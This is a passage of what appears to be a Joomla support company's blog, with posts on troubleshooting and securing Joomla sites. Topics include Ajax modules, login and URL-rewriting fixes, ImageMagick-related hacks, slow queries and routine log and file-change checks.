  • helper.php: The module helper file. This file contained just 2 methods (within the modK2RepresentativesHelper class) which handled all the logic of the module. These methods are:

    • public static function getItems(&$params, $format = ‘html’): We copied this function from the helper file of the K2 content module and we modified it to accommodate our needs. The function returned the items with extra items matching the GET state.
    • function getRepresentativesAjax(): This function called the static getItems function, and transformed the returned data into a well formatted string.

We then created a Joomla article containing the following code:

<script type="text/javascript">
var jQueryRepresentatives = jQuery.noConflict();
jQueryRepresentatives(document.body).on('change','#state',function(){
	jQueryRepresentatives.ajax({
		type: 'GET',
		url: "http://www.[ourclientjoomlawebsite].com/index.php?option=com_ajax&module=k2_representatives&format=raw&Itemid=300&method=getRepresentatives&state="+jQueryRepresentatives('#state').val(),
		success:function(data){
			jQueryRepresentatives('#results').html(data);
		},
		error:function(){
			jQueryRepresentatives('#results').html('<p class="error">An error was encountered while retrieving the representatives from the database.</p>');
		}
	});  
});</script>

<form action="" method="post"><strong>State:</strong>
	<select id="state">
		<option value="NA">Select a State</option>
		<option value="AL">ALABAMA</option>
		<option value="AK">ALASKA</option>
		<option value="AZ">ARIZONA</option>
		...
	</select>
</form>
<div id="results"> </div>

Now – the essence of the above is this line:

url: "http://www.[ourclientjoomlawebsite].com/index.php?option=com_ajax&module=k2_representatives&format=raw&Itemid=300&method=getRepresentatives&state="+jQueryRepresentatives('#state').val()

  • The module GET variable should contain the name (not the title) of the module to get the data from. In our case, it is k2_representatives (notice that it doesn’t contain the mod part, e.g., it is k2_representatives and not mod_k2_representatives). If you provide the name of a module that doesn’t exist (or is disabled), then the Ajax interface will return the following error:

    LogicException: Module mod_k2_representatives is not published, you do not have access to it, or it’s not assigned to the current menu item.

  • The Itemid GET variable should contain the ID of the menu item that this module is assigned to. The Itemid must be correct – or else you will get the same error as when you provide a wrong/disabled module name.

  • The method GET variable should contain the name of the function that the Joomla Ajax interface should call in order to grab the data from. Now, you may notice that we don’t have a function called getRepresentatives, but, in the helper file, we have a function called getRepresentativesAjax. The thing is, the Joomla Ajax interface insists that any function it calls must end with Ajax. That is OK, because it is possibly done this way in order to avoid conflicts and to allow the developers to have a different output for the Ajax interface (than that of the standard module output). The odd thing is that the Ajax method should not contain the word Ajax (well, technically, it can, but in that case, the method in the helper file should be called something like getRepresentativesAjaxAjax [yes – you should have the word Ajax twice in your method]). So if, in your Ajax call, the method name is myFunction, then you should have in your helper file a function called myFunctionAjax, if you don’t have such function, then you will see the following error:

    LogicException: Method myFunctionAjax does not exist.

  • The state GET variable grabs the current selected state for data filtering.

  • The rest of the GET parameters are static and should not be changed. You should always have option=com_ajax and format=raw in your Ajax request.

The above, as you can imagine, worked as a charm, and the client was happy with the clean end result, and we were happy with the clean way it was done.

If you want to use Ajax on your Joomla website, then follow the above guide and you will not be disappointed. If you need help with the implementation, then please contact us. We are always available, we will finish your job quickly, and our fees are very affordable!

“Login denied! Your account has either been blocked or you have not activated it yet.” Error When Logging in to a Joomla Website

This evening, a new client from Florida approached us with what seemed to be a very easy issue: whenever he tried to login to the backend of his Joomla website with his super user (aka super administrator) account, he was seeing the following error:

Login denied! Your account has either been blocked or you have not activated it yet.

We were happy because after weeks of doing a lot of hard and complex Joomla labor, we were rewarded with a very simple task! We thought that fixing this problem simply consisted of doing the following:

  • Logging in to phpMyAdmin.
  • Clicking on the #__users table (where #__ is the table prefix used by the Joomla website).

  • Searching for the user in question and then changing the value of block from 1 to 0.

But, our hopes of an easy job faded quickly when we saw that the #__users table consisted only of 2 users (admin and admin2), and neither of them was blocked.

So we started debugging this issue by trying to find out the conditions under which the Joomla engine would throw the above error. We noticed that the block logic was only performed in the User – Joomla plugin – specifically in the following lines of the onUserLogin function which is located in the joomla.php file, which is in turn located in the plugins/user/joomla folder:

if ($instance->get('block') == 1){
	$this->app->enqueueMessage(JText::_('JERROR_NOLOGIN_BLOCKED'), 'warning');
	return false;
}

So we thought: let’s, at the beginning of the onUserLogin function (after $instance = $this->_getUser($user, $options);), add the following code…

print_r($instance);
die();

…and then try to login. And so we did, but, to our surprise, we still saw the same error when we tried to login. At this point, we started doubting whether we were working on the right website, and so we added a die() at the beginning of the main index.php file (located under the administrator folder), and the website indeed, died, which meant we were working on the right folder. So this only meant one thing, there is another, non-core plugin, throwing the exact error… Our job now was to find that plugin…

But we didn’t: We created a script to search every single file on the Joomla website to find that error message, yet we only found it in the aforementioned joomla.php file. We then looked into the extensions table in the database, and we checked all the authentication plugins, and we noticed that the plg_authentication_joomla plugin was disabled. Aha!

So we changed the enabled field of the plg_authentication_joomla plugin from 0 to 1 and we disabled the plg_authentication_cookie plugin (which was enabled, for some reason), and then we we closed the browser, and tried to login again, and it worked! (Note that due to some aggressive caching you may have to wait a few minutes before trying to login after re-enabling the plugin).

But how come the “print_r($instance);” didn’t work?

The answer is server side caching. In fact, to prove our point, we re-added the print_r statement followed by the die(); statement, and then we tested it after fixing the problem, and still we weren’t able to see that $instance printed. But, after a few minutes, the mysterious cache expired and we were able to see it. (Note: we noticed that that type of caching is the trait of a cheap, mainstream host, and the Joomla website that we were working on resided on such host.)

But what caused this?

We’re not really sure – but we suspect that someone with a super user login to the Joomla website disabled the Authentication – Joomla plugin either intentionally or unintentionally.

So, if you’re trying to login to your own Joomla website and you’re seeing the Login denied! Your account has been blocked… error, then check if the account is not really blocked in phpMyAdmin (as described above). If it’s not blocked, then check if the Authentication – Joomla plugin is enabled in phpMyAdmin. If it isn’t, then you should enable it. If it is, then please contact us. We will fix the problem for you in no time and for a super affordable fee.

ImageMagick and the Onslaught of Joomla Hacks

As discussed in a previous post, we have been experiencing an onslaught of Joomla 3.5.1 hacks for a few weeks now, and although we were able to clean and protect the hacked websites that we were asked to fix, we were not able to get to the root cause of the problem.

We did, however, suspect that the problem lied within the latest version of Joomla (3.5.1 at the time of writing this post), since the absolute majority of the hacked websites were 3.5.1. This morning, however, we discovered that we were wrong (and we were glad that we were wrong), and that the problem had nothing to do with Joomla, and everything to do with ImageMagick (a Linux software mainly used for image conversion).

So, what happened this morning?

Well, very early in the morning today, we got a call from a new client asking us to immediately clean his company’s website, as it was clearly hacked. The Joomla website didn’t have a single 3rd party extension installed (it was even using the Beez3 template) and it was powered by the latest version (3.5.1). For us, this was another solid proof that Joomla 3.5.1 was vulnerable. So, we fixed the website, we secured it, and then, after being granted permission from the client, we ran some forensics to discover how the website was hacked in the first place.

As soon as we started with the forensics, we noticed that the website was on a shared hosting, which was intriguing, since the absolute majority of the websites that we fixed in the past few weeks resided on a shared host. Of course, it was not logical to say that the cause of the problem is shared hosting, but that was enough to change the direction of our investigation. So we emailed a few of our clients for whom we cleaned Joomla 3.5.1 websites in the past few weeks asking them for permission to check their (server) environment. Luckily, they OK’d our request very quickly (within minutes).

It didn’t take us long to discover that ImageMagick was the root cause of the problem – all the environments with hacked Joomla 3.5.1 websites had ImageMagick installed. In case you don’t know, it was revealed in CVE-2016-3714 that the latest version of ImageMagick had a major exploit allowing for remote code execution (this is very bad), which meant that any application residing on a server with ImageMagick installed was extremely vulnerable, and that was the root cause of why all those Joomla websites were hacked.

So, what is the solution to this problem?

Ideally, the best solution is to move your website to a VPS where you have control over which applications are installed (most servers used for shared hosting have many libraries installed to accommodate the various needs of the hosted websites, and that’s why they are usually more vulnerable). If you don’t want that, then you should tell your host to patch their current version of ImageMagick or risk suffering repeated attacks on your website.

How can you know that ImageMagick is installed on your website’s environment?

There are several ways to do that:

  • If PHP is compiled with ImageMagick, then an ImageMagick section will appear in the output of phpinfo().
  • If ImageMagick is installed but not compiled within PHP, then you can check if you have it installed by running the following PHP script:

    exec("/usr/bin/convert -version", $output, $version);
    echo($version);

    If you get a number (or a combination of numbers), then you know that you have it installed on your server.

  • If you are on a VPS or a dedicated server, then you can try running the following in the shell prompt as root:

    convert -version

    or

    /usr/bin/convert -version

    If you get a valid output (and not something like command not found) when running any of the commands above, then this is a definitive sign that you have it installed.

If your Joomla 3.5.1 is getting repeatedly hacked, then most likely your server is running ImageMagick. Your best option is to cleanup your website and immediately move to a VPS where ImageMagick is not installed. If you need help doing this, the please contact us. We will clean your website for you, we will secure it, we will move it, and we won’t charge you much!

What’s with All Those Hacked Joomla 3.5.1 Websites?

As of late, we are getting an abnormal number of requests for malware cleanup on Joomla websites (a substantial number of these websites are infected with the Google hack). What’s even more interesting is not the sheer number of such requests, but the fact that the absolute majority of the affected Joomla websites were 3.5.1 (which is the latest Joomla version at the time of writing this article).

Of course, this can be a coincidence, but it’s more like a once-in-a-blue-moon coincidence, because 1) the number of hacked websites that we are getting is abnormally large, 2) the absolute majority of these websites are Joomla 3.5.1 websites (typically, hacked Joomla websites use an old/vulnerable version of Joomla), and 3) we all know that Papa Smurf has better things to do than summoning that blue moon all the time.

We hate to say it, but it seems like there is a critical vulnerability in Joomla 3.5.1 that probably only those with malicious intents know about. In fact, we think that this vulnerability, whatever it is, started with Joomla 3.5.0, but since Joomla 3.5.1 was released shortly after 3.5.0, many have immediately upgraded to 3.5.1, which made it seem that this whole mess started with Joomla 3.5.1.

But how come we haven’t investigated the issue?

So far, all of our clients have elected to solely cleanup their websites and secure them. They didn’t want to spend more money for forensics, which is completely understandable, since forensics is a lengthy and a costly process. Of course, we can do the forensics ourselves (without being commissioned by a client to do it), but the problem is that, between all these hacked Joomla 3.5.1 websites, we don’t have the slightest amount of free time to invest in this investigation.

Is it a better idea to stick with Joomla 3.4.8?

We think so. Joomla 3.4.8 is, in our opinion, the most stable Joomla release in the 3.x line (so far). All the Joomla websites that we fully manage are still using Joomla 3.4.8, and we are not intending on updating them any time soon.

How do we ensure that the websites remain clean after unhacking them?

If you have ever cleaned a hacked Joomla website before, you will probably know that the trick is not cleaning it (although that can be very challenging), but it is keeping it clean.

In order to keep those websites clean after removing all the malware, we ensure that the “index.php” file is the only PHP file that can be directly executed by Apache and we remove direct access to most of the core directories (that shouldn’t be accessed by the outside world) by adding a local .htaccess file with a deny from all directive. We also install a homemade firewall extension on the cleaned websites.

Why are we complaining about this? Doesn’t all of this mean that “business is good” for us?

Well, on the long term, this is not good news. If Joomla is deemed to be an unreliable and insecure CMS by the people using it, then these people will slowly, but surely, walk away to other content management systems, and we will be left with less clients. We don’t want that, and we will try our best to get to the bottom of this issue as soon as we have the time. Meanwhile, if your Joomla 3.5.1 website gets hacked, please contact us. We will clean it, we will secure it, and we won’t charge you much!

“The table ‘#__session’ is full” Error in Joomla

A client emailed us this Saturday morning and told us that he was seeing a blank page on every page on his website. Clearly that was the sign of a fatal error. Naturally, all we had to do was to search through the logs in order to find out what the problem is; it didn’t take us long to get to the bottom of it: the MySQL error log (located under the /var/lib/mysql folder) was inundated with the following error:

The table ‘#__session’ is full

Apparently, for some reason, the session table was reaching the maximum limit. That was weird. Typically, on dedicated servers (our client was hosting his website on a dedicated server), the limit of a MySQL table is only restricted by the amount of free hard disk space on the server. So we logged in to phpMyAdmin, and the first thing that we noticed was that the #__session table was using the MEMORY storage engine as described here, and that explained why the table was reaching a limit.

You see, MEMORY tables cannot exceed, in size, the value of the max heap table size global variable in MySQL, which defaults to 16 MB on a standard MySQL installation (if you wan to know the max heap table size on your specific MySQL instance, then do the following: 1) login to phpMyAdmin, 2) click on Variables on the top [without selecting any database], 3) in the Filters search box, enter the word “heap” and then press enter, 4) you will now be able to see what the value of the max heap table size is).

As you might have probably guessed, fixing this problem consisted of just increasing the value of the max heap table size, which we did the following way:

  • We ssh’d to the server.
  • We opened the file my.cnf located under the /etc folder (we always use vi for editing files in Linux).

  • We added the following line to it:

    max_heap_table_size=256M

    (Note: You may already have the above line in your my.cnf file. In that case, all you need to do would be to increase the limit to a higher number.)

  • We restarted MySQL using the following command:

    /etc/init.d/mysql restart

    (Note: You can always restart MySQL from WHM in case you use it).

  • That fixed the problem.

Of course, we truncated the #__session table first, and we recommend that you truncate it in a cron job that runs every midnight, or else you may run into the same issue even after making the change above.

If your #__session table is getting full, and you are using the MEMORY storage engine, then try our solution above, it should work. If it doesn’t, or if you need help implementing it, then please contact us. Our rates are super affordable, our work is super professional, and we are super friendly!

Joomla 404 Pages Causing Load and Memory Issues – How to Fix

Note: The solution presented in this post consists of a core modification, since it addresses a Joomla bug. Proceed at your own risk and always backup your Joomla website before modifying core files. Oh, and don’t forget that future Joomla updates may wipe out your changes (so you may need to redo them after each update).

Another note: Just after finishing this post, we discovered that we have written something very similar here. Oh well!

A problem that is inherent to Joomla, and that most people do not know about, is the 404 page, and it’s not because most Joomla websites do not handle it properly, it’s because the load and memory issues it can cause on large websites. “Load issues”, we hear you ask? What possibly can a 404 page have anything to do with the load on the server? It should be the quickest page to load on the whole website? Right?

Well, wrong! You see there is a bug in Joomla that makes the 404 page the heaviest page on large websites. The problem is that Joomla processes the 404 page as a category page with no catid (category ID) and with no limit. In other words, each time Joomla encounters a 404 page, it gets all the content items from the database for all the categories! Take a look at this query generated by a 404 page on a Joomla website just before we fixed it:

# Time: 160426 11:49:30
# User@Host: database_user[database_user] @ localhost []
# Query_time: 8.090585 Lock_time: 0.000784 Rows_sent: 76795 Rows_examined: 438986
SET timestamp=1461685770;
SELECT a.id, a.title, a.alias, a.introtext, a.fulltext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = '0000-00-00 00:00:00' THEN a.created ELSE a.modified END as modified, a.modified_by, uam.name as modified_by_name,CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits,a.state AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,c.published, c.published AS parents_published
FROM #__content AS a
LEFT JOIN #__categories AS c ON c.id = a.catid
LEFT JOIN #__users AS ua ON ua.id = a.created_by
LEFT JOIN #__users AS uam ON uam.id = a.modified_by
LEFT JOIN #__categories as parent ON parent.id = c.parent_id
WHERE a.state = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2016-04-26 15:49:29') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2016-04-26 15:49:29')
ORDER BY CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END DESC , a.created;

Not only the query above was causing a huge load issue, but it was also exhausting the maximum memory allocated to each PHP page. So, the 404 page was actually showing the following (instead of, well, a 404 page):

Allowed memory size of 536870912 bytes exhausted (tried to allocate 231 bytes) in /home/[user]/public_html/libraries/joomla/database/driver/mysqli.php on line 811

Of course, when you notice that the above query returned almost 77,000 rows from the database, you start putting things into perspective, and you won’t be surprised by the fact that the whole 512 MB allocated were completely exhausted (by the way, just out of curiosity, we increased the maximum memory in a local php.ini to 2 GB, but still we had the same problem).

So, how do we solve the problem?

Well, fixing this problem is not that hard; you only have to do the following:

  • Open the file category.php located under the components/com_content/models folder.
  • Just after this line:

    $limit = $this->getState('list.limit');

    Add the following lines:

    if (!isset($limit) || empty($limit))
        return array();

  • Save the file and upload it back.

  • That’s it!

As you can see, the whole fix consists of a minor modification to a core file (the modification ensures that Joomla doesn’t query the database if the limit field is not specified), but we understand that some Joomla administrators out there may not want to do this themselves. If you’re one of them, then please contact us, we will do it for you in not time, for an excellent price, and you’ll gain genuine friends and a reliable supplier!

URL Rewriting Not Working on a Joomla Website: How to Fix

We had an interesting job today: a regular client called us in the morning and told us that he can’t get URL rewriting to work on his Joomla 3.5.1 website. He told us that when he set Use URL Rewriting to Yes in the Joomla’s Global Configuration, all the URLs, with the exception of the homepage, resulted in a 404 page.

Naturally, we thought it was a simple issue: most likely the client didn’t rename the htaccess.txt file to .htaccess, but, after a quick check, we discovered that he did, and this is where the fun started…

We first thought that the .htaccess file that he was using was corrupt, and so we replaced it with the default one that comes with Joomla, but that didn’t fix it.

We then thought it might be a system plugin causing all this mess, and so we disabled all the of the enabled system plugins, and we tested the website, hoping that it might be it, but, to our disappointment, it wasn’t: we still saw the dreaded 404 page when we went to anything other than the homepage.

At this point, we started suspecting the server, and so we checked the httpd.conf file (Apache‘s configuration file), but it was clean. We also checked if the mod_rewrite module was installed and enabled, and it was. We tried every single possible trick on the httpd.conf file, restarting Apache every time we did that, but with no success whatsoever.

Since we were so convinced that the problem was a server problem, we contacted the host and we told them that there is some serious issue with URL rewriting on the server, and we would love if they can take a look. They were quick to offer help, but on the condition that we create a very simple test scenario where they can see that URL rewriting is not working. So we created a folder called test under the main Joomla website, and we installed there a fresh, clean copy of Joomla 3.5.1 along with the sample data. We set the Search Engine Friendly URLs and the Use URL Rewriting options in the Global Configuration settings to Yes, we renamed the htaccess.txt file to .htaccess, and we tested the test website. To our astonishment, it worked. This experiment, of course, ruled out the server environment as the cause of this problem, which was somehow depressing: it was our problem again!

Something, however, was weird with the way the website worked when URL Rewriting was enabled. Whenever a rewritten URL was used, the 404 page was loading super quickly, making us question whether Joomla was actually intercepting that page at all. It was a long shot but we wanted to prove it: we added a die(‘Under Maintenance’); at the beginning of the entry index.php file located under the root directory of the Joomla website, and then we visited the URL, and, guess what, we saw the 404 page, instead of a page with just Under Maintenance in it.

This meant that Joomla wasn’t even intercepting the URL, which was odd, as this is not the normal behavior. Now, the question was, where was this 404 page coming from?

It didn’t take us long to discover which file was responsible for generating the 404 page. It was a file called 404.shtml which was located under the main folder of the Joomla website. Renaming that file to somethingelse.shtml fixed the problem!

But why was the presence of the 404.shtml file causing the problem?

The Apache configuration stated that if someone tried to access a file that didn’t exist, and if the 404.shtml file existed, then that file will be loaded. And, since accessing a URL without index.php in it technically means trying to access a non-existent file, the 404.shtml was getting loaded, causing all this frustration for us and for our client.

Now if you, our dear reader, are having a problem with URL rewriting on your Joomla website, then check (after making sure that you have renamed the htaccess.txt to .htaccess) that you don’t have a 404.shtml file lurking on your website. If you do, then just rename it and see if that fixes the problem. If it doesn’t, then please contact us. We will fix the problem for you, efficiently, professionally, and affordably!

How to Submit Data from a HubSpot Form to Your Joomla Website

A client of ours, who has been using HubSpot extensively for a couple of years now, asked us for something fun! He wanted to grab the contact data (when a new form was submitted in HubSpot) in order to create a Joomla user out of it. In other words, whenever someone fills out a specific HubSpot form and clicks Submit, then a new user should be created for him in the Joomla website (out of the submitted form data).

Now we did work with HubSpot a few times before, but this task was more challenging then all of our other HubSpot tasks. We spent days researching how to do this – thinking that this should be done through the HubSpot API, but not finding exactly how. It was frustrating…

But, while searching for a blindfold and a cigarette (we knew we were going to get executed if we didn’t finish this on time), we discovered webhooks. What are webhooks, we hear you ask?

Webhooks are a standard way of passing data from one application to another, easing up the integration of two or more applications. So, in short, you can use a webhook to pass (transmit) the submitted data from HubSpot to the Joomla website (or to any other website/application).

So, how did we do that?

We did it the following way:

  • We logged in to the HubSpot account.
  • We clicked on Contacts -> Workflows in the upper menu.

  • We clicked on Create new workflow on the top right.

  • We entered the workflow name (we chose “Submit to Joomla” as the name, but you can choose any other name), and we chose Standard from the popup window.

  • Under “Automatically enroll contacts when they meet these criteria”, we clicked on Form Submission, and then we chose the HubSpot form that our client wanted to use to register Joomla users from the dropdown, and then we clicked on Done, and then Save.

  • We hovered just over the sentence “Contacts will be enrolled the first time when they meet the criteria above. (Change)”, and, just below it, a link titled “Add action or delay” appeared.

  • We clicked on the “Add action or delay” link, and we selected Trigger a webhook from the dropdown.

  • We chose POST from the first dropdown (you can choose GET if you want to send the information as GET parameters to your Joomla website).

  • We entered the URL of the script that we have already created that will add a user to a Joomla website based on the POST parameters1 (we will not include the script here, but there are many snippets on the Internet on how to do this).

  • We clicked on Save in order to save the webhook and the parent workflow.

  • We activated the workflow by clicking on the Off button next to “Workflow is inactive. Click to review and activate.”, and then, in the popup window, we clicked on Activate workflow now, and then we clicked on OK.

  • We clicked on Content -> Landing Pages in the upper menu, and then we clicked on the landing page where the form resided.

  • We clicked on Edit on the top right, and then clicked on the form (this opened a sidebar to the left).

  • We scrolled down on the left sidebar, and then, under Post submit actions, we clicked on Add to workflow, and then we chose the workflow that we have created above (which we called “Submit to Joomla”).

  • We clicked on Update on the top right.

  • We tested the landing page and we noticed that our script was getting executed when the form was filled! Success!2

If you want to automatically store the data captured by a specific HubSpot form on your Joomla website (or an any other website/application), then try using the above method. If you need help implementing it, then please contact us. Our rates are affordable, our work is professional, and we are the friendliest developers on planet Earth! (or so we say!)

Footnotes:

1HubSpot will not send you the data in the POST headers. It will send it in the body of the headers, and there is a difference. In order to get the form data from HubSpot in your PHP script, you will need to use the following code:

$allHeadersJSon = file_get_contents('php://input');
$allHeaders = json_decode($allHeadersJSon);

$_POST will not work and will not contain any data. You have been warned!

2There is a delay of a few seconds between the form submission on HubSpot and the triggering of the webhook. Keep that in mind if your application is mission critical.

How We Analyze the Logs for Suspicious Logins on a Joomla Website

An important daily task that we perform on the large websites that we maintain is the checking of the IPs that successfully accessed the backend section of the website. We check where these IPs are coming from, and, if they are coming from an unusual location (such as a remote country), then we will look further into it.

So, how do we get the list of IPs that successfully accessed the Joomla backend?

Well, we first password protect the Joomla backend with .htaccess, and we use a unique username in the .htpasswd file, such as websitename_websiteownername. This step is important to do as it allows to know, through the logs, which IPs got past this first authentication.

We then follow the below guide to get the list of IPs:

  • We ssh to the server as root.
  • We change the directory to the logs directory of the website’s user:

    cd /home/[user]/logs/

  • We create a folder called itoctopus (if not already created) under the /home folder:

    mkdir /home/itoctopus

  • We copy the backup file of the current month to the itoctopus folder:

    cp yourjoomlawebsite.com-Mar-2016.gz /home/itoctopus/

  • We change the directory to the itoctopus directory using the following command:

    cd /home/itoctopus

  • We extract the gzipped file that we just copied to the itoctopus folder:

    gunzip yourjoomlawebsite.com-Mar-2016.gz

  • We generate the list of IPs that have accessed the administrator section of the website:

    grep '/administrator/' yourjoomlawebsite.com-Mar-2016 | grep 'websitename_websiteownername' > administrator-access.txt

    (Note: websitename_websiteownername is the user that we created for .htpasswd authentication above and is something like yourjoomlawebsite_jeff.)

  • We get a list of all the unique IPs that have accessed the backed on the Joomla website:

    awk '{ print $1 } ' administrator-access.txt | sort | uniq > administrator-ips.txt

  • We feed the administrator-ips.txt file to a tool that we have built that will automatically generate the locations (city and country) of all the IPs in the list. Note that before building that tool, we used online IP location tools to check where each IP was coming from (which was a somehow tedious process).

  • If we notice that there is an IP that has successfully accessed the website from a suspicious location, then we investigate that IP further (in order to know whether it is a legitimate access or not, and, in the latter case, we check the logs for that IP so that we have an idea on what kind of activities it did on the website).

So, there you go, we have disclosed our method for analyzing logs for suspicious logins on a Joomla website. If you think that the above is a bit too much and you don’t have time to do it yourself, then please contact us. We will do it for you daily, weekly, or monthly based on your requirements, we won’t charge you much, and you will sleep better at night, knowing that access to your website is monitored by Joomla experts (that’s us)!

The Curious Case of Multiple Webmaster Tools Verifications on a Joomla Website

Trivia: The title of this post is inspired by the movie “The Curious Case of Benjamin Button”, which is somehow unique (in our humble opinion), but please don’t unfriend us if you don’t like it. The notion of aging backwards is fascinating, original, and, to some extent, true.

While examining the Joomla website of a new customer of ours this morning, we noticed that there were 3 files and 2 meta tags that were used to verify the site ownership for Google Webmaster Tools (by the way, it seems that Google now calls it the Google Search Console).

Typically, when we see this we know exactly what the deal is: every single developer/designer working on the website added their own Google Webmaster Tools verification code (either by uploading a verification file or by adding a verification meta tag), in order to claim the website’s ownership, so that they can spy on the site’s keywords. The reason why none of them removed the other verification files/meta tags was because they just didn’t know which verification file/meta tag was the legitimate one as they didn’t want to remove it by mistake (so that they wouldn’t get caught).

When this happens, we delete all the verification files/meta tags, and then we ask the client to provide us with his verification file/meta tag (we do prefer having a file over having a meta tag, by the way; it’s just less clutter in the HTML code). Of course, when we tell the client, he is usually annoyed by the behavior of his previous developers/designers, but, on the other hand, he’s exalted because he’s finally dealing with honest developers!

But aren’t there cases where a website has a legitimate need for multiple verifications?

Yes, and that is especially the case of a large website belonging to a very large company. In this case, the company has separate divisions working in silos, and these divisions have separate Google accounts that they use to monitor their site’s performance.

Can this happen with Google Analytics as well?

Yes, and we have seen it many times. The reason why we only spoke about Google Webmaster Tools in this post was because the issue that we saw today was with this particular tool. So, you should also check if your website has more than one Google Analytics verification file/meta tag.

If you have a Joomla website with multiple verification files/meta tags for the exact tool, then you should immediately remove the ones that aren’t yours. If you don’t know how to do that, then please contact us. We will do it for cleanly, quickly, and for very little money. Oh, and we are trustworthy programmers!

Joomla, Pagination, and Performance Issues: Again and Again

Warning: The code changes in this post are in the core. Proceed with caution (and at your own risk) and keep in mind that future Joomla updates may wipe out the below changes.

In a previous post, we have explained how we resolved performance issues caused by pagination on a large Joomla website. The results were satisfactory, but not conclusive: we still had the problem in the backend and we were still seeing the following query (along with some variations of it) in the MySQL slow query log:

SELECT COUNT(*)
FROM myj63_content AS a
LEFT JOIN myj63_users AS uc ON uc.id=a.checked_out
LEFT JOIN myj63_viewlevels AS ag ON ag.id = a.access
LEFT JOIN myj63_categories AS c ON c.id = a.catid
LEFT JOIN myj63_users AS ua ON ua.id = a.created_by
WHERE (a.state = 0 OR a.state = 1);

So, although we solved the issue with excessive pagination, Joomla still was calculating the total items for each particular view, and that calculation was slowing down the whole server. We resolved the issue the following way:

  • We opened the file list.php located under the libraries/legacy/model folder.
  • We changed the following line:

    $page = new JPagination($this->getTotal(), $this->getStart(), $limit);

    to this line:

    $page = new JPagination(2000, $this->getStart(), $limit);

  • We uploaded the file back, we cleared the MySQL slow query log, and then we checked if any new slow queries were written.

  • We waited for an hour and no new query was written to the file. The mission was successful!

But, the next day, we checked the slow query log and we noticed that there were new COUNT(*) queries that were recorded. After a quick investigation we realized that we had to modify another file in order to really close the problem, and that file was the legacy.php located under the libraries/legacy/model folder. Here’s what we did:

  • We opened the aforementioned file.
  • At the very beginning of the _getListCount function, we added the following line:

    return 2000;.

  • We saved the file and we uploaded it back.

  • The problem was solved!

Now, you might be wondering, what’s with the 2000? Well, the 2000 is a hardcoded number representing the number of entries in any view. For example, if a category has 10,000 articles, then we are telling Joomla that it has only 2,000 articles, which is OK (because we are not allowing pagination past page 100). But, what if a category only had 10 articles? This means that for that category, we will be showing that it has 100 pages when it only has 1 page. That doesn’t look very nice, but it cannot be handled with a single line of code. So, if you want to implement the solution above, you will need to live with this limitation, or you will need to ask some Joomla experts (such as your humble servants), to address this for you. If you want to do this yourself, then let us give you a hint: you will need to run a midnight cron job calculating the number of items for each view, and, if that number is less than 2000, then you should use that number in the files above instead of 2000.

If you want help implementing the above solution, then please contact us. We are happy to serve, we work very quickly, and our fees are very affordable!

Is Joomla 3.5 Really 50% Faster than Joomla 3.4.8?

Rumors spread around quickly, and the latest rumor, besides the one that states that the world is not flat, is that Joomla 3.5 is 50% faster than Joomla 3.4.8. To be more specific, the rumor states that Joomla 3.5 is 50% faster because, unlike Joomla 3.4.8, it can run under PHP 7. So, the rumor can be traced down to another rumor which states that PHP 7 is 50% faster than PHP 5.

So, is it true that PHP 7 is 50% faster than PHP 5?

Zend’s website proclaims that it is, more or less, true. In fact, they (Zend – the developers behind PHP) say that Drupal is 72% faster under PHP 7, and Magento‘s catalogue is over 100% faster (we know, where is Joomla, huh?). If you’re thinking that this is too good to be true, then you are probably right: the scripting language (PHP is a scripting language) is very, very rarely the bottleneck on any website. In 99.99999% (that’s five decimal nines) of all cases, the bottlneck is the database server. So, any improvement at the scripting language’s level is always negligible since a Joomla page (or a page on any other CMS) has to wait on the database server before it is served to the client.

Of course, the above assumes that Zend’s hype is not merely a propaganda – but this is not really the case. In fact, most of those who tested PHP 7 on any website are claiming that they are getting worse results than with PHP 5, which doesn’t necessarily mean that the Zend team is lying with statistics, but it definitely means that all Zend tests were run in optimal environments where PHP 7 excels.

But what if PHP 7 is really 50% faster than PHP 5?

As stated above, the bottleneck of any CMS is the database, so even if PHP 7 is ten times (1000%) faster than PHP 5, nobody will feel it.

Of course, there are some Joomla administrators out there who are claiming that their websites are flying with Joomla 3.5 and PHP 7, but we think that this is a case of the emperor has no clothes, and it’s only a matter of time before everyone becomes aware of the fact that it’s all a hype, and that Joomla 3.5 is not even slightly faster than Joomla 3.4.8 (simply because the necessary database optimizations were not implemented).

So, if you’re excited about upgrading to Joomla 3.5 because you’re thinking that it can resolve all (or even some) of your performance issues, then think again, because your performance issues are almost invariably caused by MySQL and not PHP. If this post made you hesitate a bit and you want to seek some advice before updating to Joomla 3.5, then please contact us. Note that our super affordable fees apply.

A Quick Shell Command to Check the List of Modified Files on a Joomla Website

One of the things that we do daily on the websites that we fully manage is check which files were changed in the past 48 hours. Doing this helps us catch files that were maliciously modified, it also helps us check whether the client’s employees have uploaded files that they shouldn’t have uploaded, or have uploaded files to the wrong folder.

So, how do we do that?

There are several ways to do that, but we prefer to do this through root shell access. So, we ssh to the server, and then we run the following command:

find /home/user/public_html -path '/home/user/public_html/cache/*' -prune -o -mtime -2 -ls > changed.txt

The above command will dump the list of modified files within the past 48 hours in the changed.txt file under the /home/user/public_html (it excludes files created under the cache folder). Once we run the above command, we then check each and every created and modified file. For example, if we see that a PHP file was created or modified, we check that PHP file immediately: PHP files should never be modified, and they should only be created when a new extension is installed, other than that any modification/creation of a PHP file is most likely malicious.

If we see that a new image file was created, we check if it was created under the right directory (we ensure that images are evenly distributed under the images folder).

How to exclude certain file types from being included in the list of changed files?

Many Joomla website owners don’t care about the organization of the image files the way we do, so they might not be interested in knowing which images files were changed, in that case, they can run the following command to generate a list of changed files, but excluding image/PDF files:

find /home/user/public_html -path '/home/user/public_html/cache/*' -prune -o -mtime -2 -ls | grep -vE '(.jpg|.png|.gif|pdf)' > changed.txt

The above command generates a list of all the files created/changed within past 48 hours with the exception of image files and PDF files.

But, what if you want to get a list of changed files that were modified in the past week?

